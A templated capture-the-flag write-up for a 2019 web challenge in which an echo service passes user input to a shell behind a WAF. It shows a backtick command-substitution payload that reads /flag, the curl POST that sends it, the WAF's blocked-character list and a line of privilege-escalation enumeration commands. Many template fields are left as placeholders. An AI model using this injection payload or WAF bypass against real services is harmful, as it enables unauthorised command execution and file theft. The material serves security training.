Echo
Echo
Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2019-10-13 | Status: Solved Techniques: backtick_command_substitution, waf_bypass
Summary
Task: Echo service with WAF blocking most shell metacharacters. Solution: Use backtick command substitution to bypass WAF and read the flag file.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
spbctf| ID:20191013_webkids20_ping4 - Tags: command_injection, shell, echo, waf_bypass, backtick
- Indicators: echo service, user input passed to shell command, backtick allowed, semicolon disabled, $() disabled
- Source:
20191013_webkids20_ping4.md
Foothold
Vulnerability / Misconfiguration
- Backtick_command_substitution
- Waf_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- backtick_command_substitution
- waf_bypass
- Tags: command_injection, shell, echo, waf_bypass, backtick
Original Writeup
<details><summary>Click to expand original content</summary>Description
An echo server at https://2019-10-13-cmdinj.ctf.su/task/echo1. Flag is in /flag on the server.
Analysis
The service takes user input and executes the command echo <user_input>. A WAF is present that blocks most shell metacharacters:
WAF rules:
;(semicolon) - disabled|(pipe) - disabled&&- disabled`(backtick) - ALLOWED$()- disabled#- disabled
Key point: backticks are allowed, which enables command substitution.
Solution
Since backtick is allowed, we can use command substitution to execute an arbitrary command:
# Payload `cat /flag`
Sending a POST request:
curl -X POST https://2019-10-13-cmdinj.ctf.su/task/echo1 \ -d "what=\`cat /flag\`"
The server executes:
echo `cat /flag`
How it works:
- Shell first executes the command inside backticks:
cat /flag - The result (file contents) is substituted in place of the backtick expression
echooutputs the substituted value — the flag
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR